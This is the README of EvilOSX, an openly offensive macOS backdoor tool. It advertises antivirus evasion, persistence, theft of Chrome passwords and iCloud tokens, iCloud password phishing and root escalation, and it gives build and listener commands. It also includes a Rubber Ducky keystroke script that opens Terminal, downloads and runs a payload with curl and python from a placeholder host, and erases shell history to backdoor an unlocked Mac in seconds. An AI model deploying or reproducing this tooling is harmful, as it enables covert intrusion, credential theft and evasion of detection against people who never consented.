- Emulate a simple terminal instance
- Undetected by anti-virus (randomized hash, HTTPS communication)
- Multi-threaded
- No client dependencies (pure python)
- Persistent
- Simple extendable module system
- Retrieve Chrome passwords
- Retrieve iCloud tokens and contacts
- Phish for iCloud passwords via iTunes
- Download and upload files
- iTunes iOS backup enumeration
- Retrieve browser history (Chrome and Safari)
- Attempt to get root via local privilege escalation
- Auto installer, simply run EvilOSX on your target and the rest is handled automatically
# Install urwid (required for the server GUI)
$ sudo pip install urwid
# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX
# Go into the repository
$ cd EvilOSX
# Build EvilOSX which runs on your target
$ python builder.py
# Start listening for connections
$ python server/server.py
# Lastly, run the built EvilOSX on your target.
This project was created to be used with my Rubber Ducky, here's the simple script:
REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM Also see https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
- Takes about 10 seconds to backdoor any unlocked Mac, which is...... nice
- Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
- To bypass the keyboard setup assistant make sure you change the VID&PID which can be found here. Aluminum Keyboard (ISO) is probably the one you are looking for.
EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible.
Server and client releases will be numbered with the follow format:
<major>.<minor>.<patch>
And constructed with the following guidelines:
- Breaking backward compatibility bumps the major
- New additions without breaking backward compatibility bumps the minor
- Bug fixes and misc changes bump the patch
For more information on SemVer, please visit https://semver.org/.
Feel free to submit any issues or feature requests.
- The awesome Empire project
- manwhoami for his projects: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
- The slowloris module is pretty much copied from PySlowLoris
- urwid and this code which saved me a lot of time with the GUI
- Logo created by motusora